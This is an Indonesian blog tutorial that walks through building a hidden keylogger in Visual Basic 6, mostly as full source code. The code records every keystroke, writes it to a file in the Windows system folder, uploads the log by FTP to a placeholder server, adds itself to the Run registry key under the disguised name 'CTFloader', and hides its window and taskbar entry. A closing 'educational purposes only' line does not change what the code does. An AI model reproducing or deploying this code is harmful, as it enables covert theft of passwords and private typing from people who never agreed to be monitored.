Membuat Keylogger sederhana dengan visual basic

Selamat Sore Semuanya kembali lagi bersama Viscount
kali ini saya akan mengshare tutor tentang tata cara membuat keylogger sederhana

Keylogger adalah

Keylogger merupakan sebuah perangkat baik perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol keyboard. Sebuah keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol keyboard tersebut ke dalam sebuah berkas log/catatan/rekaman. Beberapa keylogger tertentu bahkan dapat mengirimkan hasil rekamannya ke e-mail tertentu secara periodik.
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password.
Keylogger yang berupa hardware besarnya seukuran baterai ukuran AA. Keylogger jenis ini dipasangkan pada ujung keyboard, sehingga mencegat data yang dialirkan dari keyboard ke CPU. Sementara itu, keylogger dalam bentuk perangkat lunak terpasang di dalam komputer dan bekerja secara tersembunyi. Cara sederhana untuk menghindari dampak adanya keylogger pada sistem operasi Microsoft Windows adalah dengan menggunakan fitur on-screen keyboard

from Wikipedia
langsung ja…
1. jalankan VB dan pilih Standard EXE
2. buat 6 buah timer dan satu buah textbox[beri nama textbox dengan "mated" tanpa tanda petik]
3. tekan CTRL + T untuk membuka Components window
4. centang opsi Microsoft Internet Transfer Control 6.0
5. tambahkan module ke program dengan klik menu Projects > Add Module dan ketik kode berikut:
Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Declare Function SystemParamsLong Lib “user32″ Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
Const SPI_GETKEYBOARDSPEED = 10
6. kode untuk:
timer1:
‘ fungsi ini digunakan untuk mencatat aktifitas penekanan tombol keyboard
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
mated = mated + “a”
ElseIf GetAsyncKeyState(vbKeyB) Then
mated = mated + “b”
ElseIf GetAsyncKeyState(vbKeyC) Then
mated = mated + “c”
ElseIf GetAsyncKeyState(vbKeyD) Then
mated = mated + “d”
ElseIf GetAsyncKeyState(vbKeyE) Then
mated = mated + “e”
ElseIf GetAsyncKeyState(vbKeyF) Then
mated = mated + “f”
ElseIf GetAsyncKeyState(vbKeyG) Then
mated = mated + “g”
ElseIf GetAsyncKeyState(vbKeyH) Then
mated = mated + “h”
ElseIf GetAsyncKeyState(vbKeyI) Then
mated = mated + “i”
ElseIf GetAsyncKeyState(vbKeyJ) Then
mated = mated + “j”
ElseIf GetAsyncKeyState(vbKeyK) Then
mated = mated + “k”
ElseIf GetAsyncKeyState(vbKeyL) Then
mated = mated + “l”
ElseIf GetAsyncKeyState(vbKeyM) Then
mated = mated + “m”
ElseIf GetAsyncKeyState(vbKeyN) Then
mated = mated + “n”
ElseIf GetAsyncKeyState(vbKeyO) Then
mated = mated + “o”
ElseIf GetAsyncKeyState(vbKeyP) Then
mated = mated + “p”
ElseIf GetAsyncKeyState(vbKeyQ) Then
mated = mated + “q”
ElseIf GetAsyncKeyState(vbKeyR) Then
mated = mated + “r”
ElseIf GetAsyncKeyState(vbKeyS) Then
mated = mated + “s”
ElseIf GetAsyncKeyState(vbKeyT) Then
mated = mated + “t”
ElseIf GetAsyncKeyState(vbKeyU) Then
mated = mated + “u”
ElseIf GetAsyncKeyState(vbKeyV) Then
mated = mated + “v”
ElseIf GetAsyncKeyState(vbKeyW) Then
mated = mated + “w”
ElseIf GetAsyncKeyState(vbKeyX) Then
mated = mated + “x”
ElseIf GetAsyncKeyState(vbKeyY) Then
mated = mated + “y”
ElseIf GetAsyncKeyState(vbKeyZ) Then
mated = mated + “z”
ElseIf GetAsyncKeyState(vbKey0) Then
mated = mated + “0″
ElseIf GetAsyncKeyState(vbKey1) Then
mated = mated + “1″
ElseIf GetAsyncKeyState(vbKey2) Then
mated = mated + “2″
ElseIf GetAsyncKeyState(vbKey3) Then
mated = mated + “3″
ElseIf GetAsyncKeyState(vbKey4) Then
mated = mated + “4″
ElseIf GetAsyncKeyState(vbKey5) Then
mated = mated + “5″
ElseIf GetAsyncKeyState(vbKey6) Then
mated = mated + “6″
ElseIf GetAsyncKeyState(vbKey7) Then
mated = mated + “7″
ElseIf GetAsyncKeyState(vbKey8) Then
mated = mated + “8″
ElseIf GetAsyncKeyState(vbKey9) Then
mated = mated + “9″
ElseIf GetAsyncKeyState(vbKeyEscape) Then
mated = mated + “<Esc>”
ElseIf GetAsyncKeyState(vbKeySpace) Then
mated = mated + “<Space>”
ElseIf GetAsyncKeyState(vbKeyBack) Then
mated = mated + “<BackSpace>”
ElseIf GetAsyncKeyState(vbKeyDelete) Then
mated = mated + “<Canc>”
ElseIf GetAsyncKeyState(vbKeyDown) Then
mated = mated + “<Arrow down>”
ElseIf GetAsyncKeyState(vbKeyShift) Then
mated = mated + “<Shift>”
ElseIf GetAsyncKeyState(vbKeyTab) Then
mated = mated + “<Tab>”
ElseIf GetAsyncKeyState(vbKeyUp) Then
mated = mated + “<Arrow Up>”
ElseIf GetAsyncKeyState(vbKeyRight) Then
mated = mated + “<Right Arrow>”
ElseIf GetAsyncKeyState(vbKeyLeft) Then
mated = mated + “<Left Arrow>”
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
mated = mated + “<Page Up>”
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
mated = mated + “<Page Down>”
ElseIf GetAsyncKeyState(vbKeyF1) Then
mated = mated + “<F1>”
ElseIf GetAsyncKeyState(vbKeyF2) Then
mated = mated + “<F2>”
ElseIf GetAsyncKeyState(vbKeyF3) Then
mated = mated + “<F3>”
ElseIf GetAsyncKeyState(vbKeyF4) Then
mated = mated + “<F4>”
ElseIf GetAsyncKeyState(vbKeyF5) Then
mated = mated + “<F5>”
ElseIf GetAsyncKeyState(vbKeyF6) Then
mated = mated + “<F6>”
ElseIf GetAsyncKeyState(vbKeyF7) Then
mated = mated + “<F7>”
ElseIf GetAsyncKeyState(vbKeyF8) Then
mated = mated + “<F8>”
ElseIf GetAsyncKeyState(vbKeyF9) Then
mated = mated + “<F9>”
ElseIf GetAsyncKeyState(vbKeyF10) Then
mated = mated + “<F10>”
ElseIf GetAsyncKeyState(vbKeyF11) Then
mated = mated + “<F11>”
ElseIf GetAsyncKeyState(vbKeyF12) Then
mated = mated + “<F12>”
ElseIf GetAsyncKeyState(vbKeF13) Then
mated = mated + “<F13>”
ElseIf GetAsyncKeyState(vbKeyEnd) Then
mated = mated + “<FINISH>”
End If
End Sub
timer2:
Private Sub Timer2_Timer()
Timer3.Enabled = True
Timer2.Enabled = False
End Sub
timer3:
Private Sub Timer3_Timer()
Timer4.Enabled = True
Timer3.Enabled = False
End Sub
timer4:
Private Sub Timer4_Timer()
Timer5.Enabled = True
Timer4.Enabled = False
End Sub
timer5:
Private Sub Timer5_Timer()
Timer6.Enabled = True
Timer5.Enabled = False
End Sub
timer6:
Private Sub Timer6_Timer()
Dim file As String
    Dim ftpwebsite As String
        account = “Akun_web_mu”
        pswd = “Pass_web_mu”
        ftpwebsite = “ftp://alamat_web_mu.com”
    Inet1.URL = ftpwebsite
    Inet1.UserName = account
    Inet1.Password = pswd
    file = “log.txt”
        Inet1.Execute Inet1.URL, “PUT C:\WINDOWS\system32\keylog.txt ” & file
    Do While Inet1.StillExecuting = True
          DoEvents
        Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
Form:
Private Sub Form_Load()
‘ fungsi ini untuk membuat keylogg aktif saat windows dinyalakan
Set reg = CreateObject(“Wscript.shell”)
reg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CTFloader”, App.Path & “\nama_keylogger.exe”
Dim reani As Long
Dim mated As String
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, reani, 0
Timer1.Interval = reani + 150
End Sub
Private Sub mated_Change()
Open “C:\WINDOWS\system32\keylogger.txt” For Output As #1
Print #1, “Data KeyLogg – Reanimated Zone: ” & mated.Text & “, “
Close #1
End Sub
Oh ya, hampir lupa, pada properties formnya ganti properties Show In Taskbar menjadi false agar Keylogg tidak terlihat di taskbar
dan peroperties Visible menjadi false agar aplikasi tidak memperlihatkan formnya[mode stealth]
this tutorial just for educational purposes only, jangan disalahgunakan ya :p

Socializer Widget By Blogger Yard

SOCIALIZE IT →

Tweet

FOLLOW US →

SHARE IT →